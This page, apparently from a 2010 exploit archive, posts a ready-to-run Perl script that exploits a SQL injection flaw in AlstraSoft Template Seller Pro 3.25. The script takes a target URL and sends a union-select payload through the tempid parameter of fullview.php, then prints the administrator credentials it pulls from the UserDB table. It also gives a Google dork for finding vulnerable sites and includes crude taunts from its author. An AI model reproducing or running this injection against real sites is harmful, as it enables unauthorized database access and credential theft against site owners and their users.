Home / os / win7

Template Seller Pro 3.25 (tempid) Remote SQL Injection Vulne

Posted on 23 April 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Template Seller Pro 3.25 (tempid) Remote SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================================
Template Seller Pro 3.25 (tempid) Remote SQL Injection Vulnerability
====================================================================

#!/usr/bin/perl -w
 
# Template Seller Pro 3.25 (tempid) Remote SQL Injection Vulnerability
# Author    : v3n0m
# Contact   : v3n0m666[at]live[dot]com
# Site      : http://yogyacarderlink.web.id/
# Group     : YOGYACARDERLINK
# Date      : April, 23-2010 GMT +7:00 Jakarta, Indonesia
# Software  : AlstraSoft Template Seller Pro
# Version   : 3.25 Other versions may also be affected
# Price     : $260 USD
# Vendor    : http://www.alstrasoft.com/
# Greetz    : All Yogyacarderlink &amp; devilzc0de Crews
# Thx       : c4uR (lo emang hacker martabak banget ur, gw salute!!)
# ShoutZ    : elicha Cristia [ take care you there honey :) ]
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print &quot;|----------------------------------------------------|
&quot;;
print &quot;|   'Template Seller Pro 3.25 Remote SQL Injector'   |
&quot;;
print &quot;| Coded by : v3n0m                                   |
&quot;;
print &quot;| Greetz   : Yogyacarderlink Crew                    |
&quot;;
print &quot;| Dork     : allinurl:fullview.php?tempid=           |
&quot;;
print &quot;|                                                    |
&quot;;
print &quot;|                         www.yogyacarderlink.web.id |
&quot;;
print &quot;|                                                    |
&quot;;
print &quot;|--------------------------------------[ elicha ]----|
&quot;;
use LWP::UserAgent;
print &quot;
Insert Target:[http://wwww.target.com/path/]: &quot;;
chomp(my $target=&lt;STDIN&gt;);
print &quot;
[!] Exploiting Progress...
&quot;;
print &quot;
&quot;;
#Nama Column
$elicha=&quot;group_concat(user_name,char(58),user_password)v3n0m&quot;;
#Nama Table
$table=&quot;UserDB&quot;;
$b = LWP::UserAgent-&gt;new() or die &quot;Could not initialize browser
&quot;;
$b-&gt;agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . &quot;fullview.php?tempid=-9999+union+all+select+1,&quot;.$elicha.&quot;3,4,5,6,7+from/**/&quot;.$table.&quot;+--+&quot;;
$res = $b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host));
$answer = $res-&gt;content; if ($answer =~/([0-9a-fA-F]{32})/){
print &quot;
[+] Admin Hash : $1
&quot;;
print &quot;[+] Success !! Check target for details...
&quot;;
print &quot;
&quot;;
print &quot;Attention:
&quot;;
print &quot;v3n0m emang paling ganteng se-jabotabek
&quot;;
print &quot;Yang kaga setuju/protes = GAY !!
&quot;;
print &quot;
&quot;;
}
else{print &quot;
[-] wah gagal bro (Belom Cebok tangan lo)...
&quot;;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-04-23]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :